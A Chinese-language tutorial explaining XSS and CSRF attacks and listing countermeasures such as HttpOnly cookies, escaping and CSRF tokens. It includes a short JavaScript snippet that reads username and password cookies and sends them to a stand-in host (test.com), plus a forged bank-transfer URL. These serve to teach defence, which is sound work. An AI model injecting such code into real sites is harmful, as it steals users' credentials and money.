Web XSS和CSRF攻击原理浅谈

作为一个即将放弃web开发的android来讲...对于朋友的疑问还是要给出解答...

本人也是参考了很多例子，总结一下感受，写出来便于大家理解。至于出处也请谅解。

跨站脚本攻击(Cross Site Script  为了区别于CSS 简称为 XSS)指的是恶意攻击者往Web页面里插入恶意js代码，当用户浏览该页之时，嵌入Web的代码会被执行，从而达到特殊目的。

因为我们完全信任了用户输入，但有些用户会像这样的输入：

这样访问这个页面的时候控制台都会输出“Hey you are a fool fish!”，有些人就利用这个漏洞窃取用户信息。

原理就是这个原理。恶意用户注册账户登录后使用简单工具查看cookie结构名称后，如果网站有xss漏洞，那么简单的利用jsonp就可以获取其它用户的用户名、密码了。

我们看看http://test.com/hack.js里藏了什么：

var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);

几句简单的javascript，获取cookie中的用户名密码，利用jsonp把向http://test.com/index.php

发送了一个get请求，这里就获用户的用户名、密码了............是不是........easy~

有的黑客提供给用户一个链接（看上去很合法合理），就是一个被伪装的链接，点击该链接就会在该论坛提交一些恶意script代码
代码原理同上。

解决办法：

1.网站的Cookie都加上了HttpOnly。（如果cookie中设置了HttpOnly属性，那么通过js脚本将无法读取到cookie信息）

2.html escape 转义，（将以西特殊字符<>等进行转义）

3.后端永远不要相信前端的数据，服务端的输出检查。

二：CSRF

CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF。是一种劫持受信任用户向服务器发送非预期请求的攻击方式，攻击者盗用了你的身份，以你的名义发送恶意请求。

CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统，例如：

 受害者 Bob 在银行有一笔存款，通过对银行的网站发送请求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下，该请求发送到网站后，服务器会先验证该请求是否来自一个合法的 session，并且该 session 的用户 Bob 已经成功登陆。

        黑客 Mallory 自己在该银行也有账户，他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行：http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。但是这个请求来自 Mallory 而非 Bob，他不能通过安全认证，因此该请求不会起作用。

        这时，Mallory 想到使用 CSRF 的攻击方式，他先自己做一个网站，在网站中放入如下代码： src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”，并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时，上述 url 就会从 Bob 的浏览器发向银行，而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下，该请求会失败，因为他要求 Bob 的认证信息。但是，如果 Bob 当时恰巧刚访问他的银行后不久，他的浏览器与银行网站之间的 session 尚未过期，浏览器的 cookie 之中含有 Bob 的认证信息。这时，悲剧发生了，这个 url 请求就会得到响应，钱将从 Bob 的账号转移到 Mallory 的账号，而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了，即使他去银行查询日志，他也只能发现确实有一个来自于他本人的合法请求转移了资金，没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。

从上可以看出，要完成一次CSRF攻击，受害者必须依次完成两个步骤：

　　1.登录受信任网站A，并在本地生成Cookie。

　　2.在不登出A的情况下，访问危险网站B。

看到这里，你也许会说：“如果我不满足以上两个条件中的一个，我就不会受到CSRF的攻击”。是的，确实如此，但你不能保证以下情况不会发生：

　　1.你不能保证你登录了一个网站后，不再打开一个tab页面并访问另外的网站。

　　2.你不能保证你关闭浏览器了后，你本地的Cookie立刻过期。（事实上，关闭浏览器不能结束一个会话，但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了......）

解决办法：

1.验证码 

2.Referer Check   根据 HTTP 协议，在 HTTP 头中有一个字段叫 Referer，它记录了该 HTTP 请求的来源地址。

3.Token 验证

4.尽量不要在页面的链接中暴露用户隐私信息。

5.对于用户修改删除等操作最好都使用post 操作 。

其实前端安全问题还有：

• XSS
• iframe带来的风险
• 点击劫持了
• 错误的内容推断
• 不安全的第三方依赖包
• HTTPS也可能掉坑里
• 本地存储数据泄露
• 缺失静态资源完整性校验